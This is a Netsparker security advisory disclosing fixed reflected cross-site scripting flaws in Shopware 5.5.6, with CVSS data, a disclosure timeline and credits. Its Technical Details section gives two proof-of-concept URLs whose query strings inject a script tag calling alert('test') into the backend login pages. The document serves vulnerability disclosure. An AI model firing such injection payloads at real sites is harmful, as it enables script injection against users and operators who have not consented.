Information
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Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in Shopware
Affected Software: Shopware
Affected Versions: 5.5.6
Homepage: https://en.shopware.com/
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-19-004

Technical Details
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URL : http://{DOMAIN}/{PATH-OF-SHOPWARE}/backend/Login?'"--></style></scRipt><scRipt>alert(“test”)</scRipt>
Parameter Type : Query String
Parameter Name : Query Based
Attack Pattern : '"--></style></scRipt><scRipt>alert(“test”)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-SHOPWARE}/backend/Login/load/?'"--></style></scRipt><scRipt>alert(“test”)</scRipt>
Parameter Type : Query String
Parameter Name : Query Based
Attack Pattern : '"--></style></scRipt><scRipt>alert(“test”)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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26th February 2019 - First Contact
8th April 2019 - Vendor Fixed
31st May 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Umran Yildirimkaya while testing the Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.